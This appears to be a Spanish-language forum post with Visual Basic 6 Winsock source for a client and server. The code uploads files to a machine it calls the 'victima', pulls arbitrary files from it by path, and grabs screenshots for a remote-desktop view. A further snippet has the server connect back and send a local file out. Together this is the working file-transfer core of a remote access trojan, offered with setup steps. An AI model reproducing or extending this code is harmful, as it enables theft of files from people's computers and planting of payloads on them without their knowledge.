---------------------------CLIENTE-----------------------------------

 

 

Dim filesize As Long, filedata As String, datos2 As String, progreso As Boolean, bytes As Long, send As Boolean

Dim ext As String, path As String, nombre As String

 

Private Sub Command1_Click()

ws.RemotePort = "4444"

ws.RemoteHost = "127.0.0.1"

ws.Close

ws.Connect

End Sub

 

Private Sub Command2_Click()

cd.Filter = "Todos los archivos |*.*"

cd.ShowOpen

Open cd.FileName For Binary As #1

filedata = Input(LOF(1), 1)

Close #1

nombre = cd.FileTitle

path = InputBox("elige la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", path)

path = path & nombre

filesize = Len(filedata)

ws.SendData "archivo" & "|" & filesize & "|" & path

End Sub

 

Private Sub Command3_Click()

Dim ruta As String

ruta = InputBox("Introduce la ruta completa del archivo remoto:", "Descargar Archivo", ruta)

ws.SendData "coger" & ruta

ext = Right(ruta, Len(ruta) - 4)

End Sub

 

Private Sub Form_Load()

send = False

progreso = False

End Sub

 

Private Sub Timer1_Timer()

If ws.State = 7 Then Label1.Caption = "Conectado" Else Label1.Caption = "Desconectado"

End Sub

 

Private Sub ws_DataArrival(ByVal bytesTotal As Long)

On Error Resume Next

Dim datos As String

ws.GetData datos

If datos = "enviar" Then

progreso = True

ws.SendData filedata

End If

If datos = "recibido" Then

'ws.SendData "cierra"

End If

If Left(datos, 7) = "archivo" Then

send = True

    filesize = Mid(datos, 8)

    ws.SendData "enviar"

    datos2 = ""

Else

    If Len(datos2) <> filesize And send = True Then

        datos2 = datos2 + datos

        pb.Min = 0

        pb.Max = filesize

        pb.Value = Len(datos2)

        pb.Refresh

    End If

        If Len(datos2) = filesize And send = True Then

        ws.SendData "recibido"

        pb.Value = 0

        cd.Filter = "Archivos " & ext & "| *" & ext

        cd.FileName = ""

        cd.ShowSave

        Open cd.FileName For Binary As #1

        Put #1, 1, datos2

        Close #1

        End If

End If

End Sub

 

Private Sub WS_SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long)

If progreso = True Then

pb.Min = 0

pb.Max = filesize

bytes = bytes + bytesSent

pb.Value = bytes

pb.Refresh

If filesize = bytes Then

pb.Value = 0

MsgBox "Archivo enviado con éxito"

bytes = 0

progreso = False

End If

End If

End Sub

 

 

       ---------------------SERVIDOR----------------------------

 

 

Dim filesize As Long, datos2 As String, filedata As String, send As Boolean, path As String

 

Private Sub Form_Load()

send = False

ws.LocalPort = "4444"

ws.Close

ws.Listen

End Sub

 

Private Sub Timer1_Timer()

If ws.State = 7 Then Label1.Caption = "Conectado" Else Label1.Caption = "Desconectado"

End Sub

 

Private Sub ws_ConnectionRequest(ByVal requestID As Long)

ws.Close

ws.Accept requestID

End Sub

 

Private Sub ws_DataArrival(ByVal bytesTotal As Long)

On Error Resume Next

Dim datos As String, dato As Variant

ws.GetData datos

If datos = "enviar" Then

ws.SendData filedata

End If

If datos = "recibido" Then

'ws.SendData "cierra"

End If

If Left(datos, 7) = "archivo" Then

send = True

    dato = Split(datos, "|")

    filesize = dato(1)

    path = dato(2)

    ws.SendData "enviar"

    datos2 = ""

Else

    If Len(datos2) <> filesize And send = True Then

        datos2 = datos2 + datos

    End If

        If Len(datos2) = filesize And send = True Then

        ws.SendData "recibido"

        Open path For Binary As #1

        Put #1, 1, datos2

        Close #1

        End If

End If

If Left(datos, 5) = "coger" Then

datos = Mid(datos, 6)

Open datos For Binary As #1

filedata = Input(LOF(1), 1)

Close #1

filesize = Len(filedata)

ws.SendData "archivo" & filesize

End If

End Sub

 

 

empezamos! necesitamos añadir los componentes microsoft  commond dialog control, microsoft windows commond controls y   

el componente winsock control, para cliente y servidor; para el cliente ademas: 3 botones, una barra de progreso, el winsock el common dialog , un timer y un label; en el servidor: un label, un timer y el winsock.

SERVER:

Código:
' Imaginemos q la captura la guardas en c:\captura.jpg

Dim h as atring

Open "C:\captura.jpg" for binary as #1
h = space(lof(1))
get #1,,h
close #1

ws.senddata h

CLIENTE:

Código:
'Recibimos los datos en una variable (r por ejemplo)
Open "C:\capturas\escritorioremoto.jpg" for binary as #1
put #1,,r 'r es lo q hemos recibido
close #1

'Ahora solo tienes q cargar "C:\capturas\escritorioremoto.jpg" en un picture box

Server:

Código:
Private Sub Form_Load()
ws.Close
ws.Connect "127.0.0.1", 2848
End Sub

Private Sub ws_Connect()
ws.SendData "Tam:" & FileLen("C:\Prueba.txt")
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Dim Send As String
ws.GetData data

If Left(data, 8) = "SendFile" Then
Open "C:\Prueba.txt" For Binary As #1
Send = Space(LOF(1))
Get #1, , Send
Close #1

ws.SendData Send
End If

End Sub


Cliente:

Código:
Dim DataFile As String
Dim LenFile As Long
Dim Envio As Boolean

Private Sub Form_Load()
ws.LocalPort = 2848
ws.Listen
Envio = False
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim data As String
ws.GetData data

If Envio = True Then
DataFile = DataFile & data
ProgressBar1.Value = Len(DataFile)
If Len(DataFile) = LenFile Then
Open "C:\Prueba2.txt" For Binary As #1
Put #1, , DataFile
Close #1
DataFile = ""
MsgBox "El Fichero se a Enviado Correctamente"
Envio = False
ProgressBar1.Value = 0
End If
End If

If Left(data, 4) = "Tam:" Then
LenFile = Mid(data, 5)
ProgressBar1.Max = LenFile
Envio = True
ws.SendData "SendFile"
End If

e puesto ademas para que salga un ProgressBar1  si no lo quiere simplemente elimina estas lineas:


Código:
ProgressBar1.Max = LenFile
ProgressBar1.Value = 0
ProgressBar1.Value = Len(DataFile)